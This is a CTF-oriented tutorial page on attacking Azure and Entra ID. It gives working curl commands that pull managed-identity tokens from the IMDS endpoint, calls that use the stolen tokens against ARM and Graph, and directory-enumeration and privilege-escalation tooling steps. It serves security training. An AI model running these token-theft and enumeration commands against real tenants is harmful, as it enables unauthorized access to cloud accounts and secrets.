Azure & Entra ID Attacks
Steal managed-identity tokens via Azure IMDS, enumerate Entra ID, and abuse over-privileged service principals and storage misconfigs in CTF cloud challenges.
Azure & Entra ID Attacks
Azure CTF challenges revolve around two trust boundaries: the compute identity baked into a VM, container, or App Service (a managed identity), and the directory identity layer — Entra ID (formerly Azure AD), which governs users, groups, service principals, and app registrations. The classic chain mirrors AWS: an SSRF reaches the local metadata service, you steal an OAuth bearer token, and that token unlocks the Azure Resource Manager (ARM) control plane or Microsoft Graph.
The crucial Azure twist is token audiences. Unlike AWS, where one set of credentials works everywhere, Azure tokens are scoped to a single resource (audience). A token minted for ARM will not authenticate to Graph, and vice versa — so you request a separate token per target API.
Authorized use only
Every command here is for intentionally vulnerable CTF labs and lab tenants you own (for example PurpleCloud or a disposable trial tenant). Probing metadata endpoints, enumerating Entra ID, or exercising tokens against a real tenant you do not control is unauthorized access. Use throwaway tenants, never production.
SSRF → IMDS → Token Attack Chain
The Azure IMDS Endpoint
Every Azure VM exposes the Instance Metadata Service at 169.254.169.254. Two things differ from AWS IMDS and trip up first-timers:
- Every request must carry the header
Metadata: true. There is no token-exchange step like AWS IMDSv2 — the header alone is the anti-SSRF control, and any SSRF that can set headers defeats it. - The token endpoint takes a
resourcequery parameter naming the audience you want a token for.
# Request an ARM-scoped token from the VM IMDS
curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"The JSON response contains access_token (a JWT), expires_in, and resource. Decode the JWT at the audience (aud) claim to confirm what it is good for.
App Service, Functions, and Container Apps do not use 169.254.169.254. Instead they expose IDENTITY_ENDPOINT and IDENTITY_HEADER environment variables, and the request uses the X-IDENTITY-HEADER header instead of Metadata: true. If you land code execution in one of those, read the env vars first.
Token Audiences (resource values)
resource value | API it unlocks |
|---|---|
https://management.azure.com/ | Azure Resource Manager (ARM) — subscriptions, VMs, storage, run-command |
https://graph.microsoft.com/ | Microsoft Graph — Entra ID users, groups, apps, roles |
https://vault.azure.net/ | Key Vault — read secrets/keys/certs |
https://storage.azure.com/ | Storage data plane — blobs, queues, tables |
https://database.windows.net/ | Azure SQL |
A token only works against its aud. Request one per API you intend to hit.
Using a Stolen Token
Once you have a raw bearer token you can either call the REST APIs directly with curl, or hand it to the Azure CLI. The CLI is usually faster for enumeration.
TOKEN="<access_token from IMDS>"
# ARM: list subscriptions reachable by this identity
curl -s -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions?api-version=2022-12-01"
# Graph: who am I / what can I see
curl -s -H "Authorization: Bearer $GRAPH_TOKEN" \
"https://graph.microsoft.com/v1.0/me"Entra ID Enumeration
With a Graph-audience token you map the directory: users, groups, service principals, app registrations, and directory role assignments. The goal is to find a principal whose privileges exceed yours — then become it.
Identify the current principal
curl -s -H "Authorization: Bearer $GRAPH_TOKEN" \
"https://graph.microsoft.com/v1.0/me" | jq '{id, userPrincipalName, displayName}'For a managed identity this resolves to a service principal — note its id (object ID).
Enumerate the directory
# Users, groups, service principals, app registrations
curl -s -H "Authorization: Bearer $GRAPH_TOKEN" "https://graph.microsoft.com/v1.0/users" | jq '.value[].userPrincipalName'
curl -s -H "Authorization: Bearer $GRAPH_TOKEN" "https://graph.microsoft.com/v1.0/servicePrincipals" | jq '.value[].appDisplayName'
curl -s -H "Authorization: Bearer $GRAPH_TOKEN" "https://graph.microsoft.com/v1.0/applications" | jq '.value[].appId'Map directory role assignments
curl -s -H "Authorization: Bearer $GRAPH_TOKEN" \
"https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments"Look for principals holding Global Administrator, Privileged Role Administrator, or Application Administrator — those are escalation targets.
Automate with ROADtools
ROADtools (roadrecon) dumps the whole tenant into a queryable database with a web UI. For graph-based privilege-path mapping, AzureHound feeds BloodHound.
roadrecon auth --access-token "$GRAPH_TOKEN"
roadrecon gather
roadrecon gui # browse the tenantCommon Misconfigurations
Tooling Quick Reference
| Tool | Purpose |
|---|---|
az CLI | Authenticate (az login --identity), enumerate ARM, mint tokens (az account get-access-token) |
ROADtools (roadrecon) | Dump & explore an entire Entra ID tenant via Graph |
| AzureHound | Collect Azure/Entra relationships into BloodHound for privesc paths |
| MicroBurst | PowerShell toolkit: storage/SAS hunting, IMDS token theft, service enumeration |
| ScoutSuite | Multi-cloud config auditor; flags Azure misconfigs offline |
Checklist
- Confirm SSRF reaches
169.254.169.254with aMetadata: trueheader (or readIDENTITY_ENDPOINT/IDENTITY_HEADERon App Service/Functions) - Request a separate token per
resourceaudience (ARM vs Graph vs Key Vault) - Decode the JWT
audclaim to confirm the token target before using it - With ARM token:
az login --identity, list resources, VMs, storage, Key Vaults - With Graph token: enumerate users, service principals, app registrations, role assignments (ROADtools)
- Hunt over-privileged roles: Owner, User Access Administrator, broad Graph app roles
- Check storage accounts for public containers and leaked SAS tokens
- Look for leaked app-registration secrets (
client_id+client_secret+tenant_id) - Re-enumerate after each escalation (role grant, added app secret, assumed SP)
See Also
- AWS Metadata (IMDS) Attacks
- GCP Attacks
- IAM Privilege Escalation
- S3 Misconfiguration
- Secrets in CI/CD
Last updated on
AWS Metadata (IMDS) Attacks
Exploit AWS Instance Metadata Service exposure in CTF cloud and web challenges to extract temporary credentials.
GCP Attacks
Steal service-account tokens via the GCP metadata server, abuse over-broad scopes and IAM impersonation, and enumerate misconfigured buckets in CTF cloud challenges.